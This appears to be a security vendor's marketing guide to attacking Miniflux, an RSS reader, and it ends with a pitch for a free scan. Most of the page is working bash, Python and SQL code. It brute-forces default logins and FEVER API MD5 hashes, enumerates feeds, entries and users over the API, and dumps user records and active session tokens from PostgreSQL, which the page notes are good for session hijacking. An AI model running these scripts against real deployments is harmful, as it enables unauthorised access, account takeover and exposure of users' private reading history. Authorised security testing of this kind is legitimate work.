Miniflux is a widely deployed open-source RSS feed reader (Feedly/Feedbin alternative) written in Go — it aggregates and caches content from all subscribed RSS/Atom feeds. Key assessment areas: admin/admin are commonly used default credentials on fresh installations; the REST API with API key exposes all feed subscriptions and cached article content; the FEVER API compatibility endpoint uses MD5-hashed credentials susceptible to offline cracking; PostgreSQL stores all subscriptions, cached entries, and reading history; and user reading patterns reveal competitive intelligence interests. Miniflux compromise exposes all monitored content sources, cached article content from private feeds, and complete reading behavior profiles. This guide covers systematic Miniflux security assessment.
# Miniflux — default credentials and authentication testing
MINIFLUX_URL="https://miniflux.example.com"
# Test common default credentials
for CRED in "admin:admin" "admin:miniflux" "miniflux:miniflux" "admin:password"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
AUTH=$(curl -s -X POST "${MINIFLUX_URL}/v1/me" \
-u "${USER}:${PASS}" 2>/dev/null)
RESULT=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('id'):
print(f'OK id={d.get(\"id\")} username={d.get(\"username\")} admin={d.get(\"is_admin\")}')
else:
print('FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "${USER}:${PASS}: ${RESULT}"
done
# Test API key authentication
API_KEY="your-miniflux-api-key"
curl -s "${MINIFLUX_URL}/v1/me" \
-H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'API key valid: id={d.get(\"id\")} username={d.get(\"username\")} admin={d.get(\"is_admin\")}')
" 2>/dev/null
# Check FEVER API endpoint (legacy compatibility)
# FEVER uses MD5(username:password) as API key
FEVER_HASH=$(echo -n "admin:admin" | md5sum | cut -d' ' -f1)
curl -s -X POST "${MINIFLUX_URL}/fever" \
-d "api_key=${FEVER_HASH}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'FEVER API auth: {d.get(\"auth\")} (1=success)')
" 2>/dev/null
# auth=1 means the MD5 hash was accepted
# Miniflux API — feed subscription and entry enumeration
MINIFLUX_URL="https://miniflux.example.com"
API_KEY="your-miniflux-api-key"
# Get all feed subscriptions
curl -s "${MINIFLUX_URL}/v1/feeds" \
-H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
feeds = d if isinstance(d,list) else []
print(f'Feeds: {len(feeds)}')
for f in feeds[:15]:
# Feed list reveals all sources the user monitors
print(f' [{f.get(\"id\")}] {f.get(\"title\",\"\")[:40]} url={f.get(\"feed_url\",\"\")[:60]}')
print(f' site={f.get(\"site_url\",\"\")} unread={f.get(\"unread_count\")} category={f.get(\"category\",{}).get(\"title\")}')
" 2>/dev/null
# Get all categories (reveals user's organizational structure)
curl -s "${MINIFLUX_URL}/v1/categories" \
-H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
cats = d if isinstance(d,list) else []
print(f'Categories: {len(cats)}')
for c in cats:
print(f' [{c.get(\"id\")}] {c.get(\"title\")}')
" 2>/dev/null
# Get recent entries (cached article content from all feeds)
curl -s "${MINIFLUX_URL}/v1/entries?limit=50&order=published_at&direction=desc" \
-H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
entries = d.get('entries',[])
total = d.get('total',len(entries))
print(f'Entries: {total} total, showing {len(entries)}')
for e in entries[:10]:
# entries contain full cached article content
content_len = len(e.get('content',''))
print(f' [{e.get(\"id\")}] {e.get(\"title\",\"\")[:50]} src={e.get(\"feed\",{}).get(\"title\",\"\")[:30]}')
print(f' url={e.get(\"url\",\"\")[:60]} status={e.get(\"status\")} content_bytes={content_len}')
" 2>/dev/null
# Enumerate all users (admin only)
curl -s "${MINIFLUX_URL}/v1/users" \
-H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d if isinstance(d,list) else []
print(f'Users: {len(users)}')
for u in users[:10]:
print(f' [{u.get(\"id\")}] {u.get(\"username\")} admin={u.get(\"is_admin\")} created={str(u.get(\"created_at\",\"\"))[:10]}')
" 2>/dev/null
# Miniflux FEVER API and PostgreSQL database extraction
# FEVER API — brute force common credential MD5 hashes
python3 -c "
import hashlib
creds = [('admin','admin'),('admin','miniflux'),('miniflux','miniflux'),('admin','password123')]
for u,p in creds:
h = hashlib.md5(f'{u}:{p}'.encode()).hexdigest()
print(f'{u}:{p} -> {h}')
" | while IFS=' -> ' read -r cred hash; do
RESULT=$(curl -s -X POST "https://miniflux.example.com/fever" \
-d "api_key=${hash}" 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('auth',0))" 2>/dev/null)
[ "$RESULT" = "1" ] && echo "VALID FEVER credentials: ${cred} (hash: ${hash})"
done
# PostgreSQL — all Miniflux data
DB_URL="postgresql://miniflux:PASSWORD@localhost/miniflux"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All users with password hashes
SELECT id, username, is_admin, google_id,
created_at, last_login_at
FROM users
ORDER BY created_at ASC
LIMIT 10;
EOF
-- All feed subscriptions (all monitored URLs)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT f.id, f.title, f.feed_url, f.site_url,
f.user_id, c.title as category, f.checked_at
FROM feeds f
LEFT JOIN categories c ON f.category_id = c.id
ORDER BY f.user_id, f.created_at DESC
LIMIT 30;
EOF
-- feed_url: the actual RSS endpoint URLs being polled
-- reveals all private/internal feeds the user monitors
-- All cached entries (article content)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT e.id, e.title, e.url, e.status,
e.published_at, e.created_at,
length(e.content) as content_bytes,
f.title as feed_title
FROM entries e
JOIN feeds f ON e.feed_id = f.id
WHERE e.status = 'read'
ORDER BY e.published_at DESC
LIMIT 20;
EOF
-- status: read/unread/removed — reading history revealed
-- User sessions (active session tokens)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, user_id, token, created_at, user_agent, ip
FROM user_sessions
ORDER BY created_at DESC
LIMIT 10;
EOF
-- token: active session token for direct session hijacking
| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credential access | POST /v1/me with admin:admin HTTP Basic Auth — common default; full admin API access to all feeds, entries, user management | Critical |
| FEVER API MD5 hash brute force | POST /fever with MD5(username:password) — legacy authentication using weak MD5; offline dictionary attack trivially cracks common passwords; full read access to feeds and entries | High |
| Feed subscription intelligence gathering | GET /v1/feeds — complete list of all monitored RSS sources; reveals competitive intelligence sources, security vulnerability feeds, internal company blogs, private publication subscriptions | High |
| PostgreSQL user_sessions token extraction | SELECT token FROM user_sessions — active session tokens for direct hijacking without credential knowledge; grants browser-level access to all user data | High |
| Cached private feed content extraction | GET /v1/entries?limit=1000 — all locally cached article content including from password-protected feeds where Miniflux stores credentials to poll authenticated feeds | Medium |
Ironimo tests Miniflux deployments for default admin/admin credential access, FEVER API MD5 hash brute force authentication, API key feed and entry enumeration, PostgreSQL user_sessions active token extraction, complete reading history analysis, cached private feed content access, user enumeration via admin API, Google OAuth integration credential exposure, Docker DATABASE_URL plaintext exposure, and feed subscription intelligence gathering.
Start free scan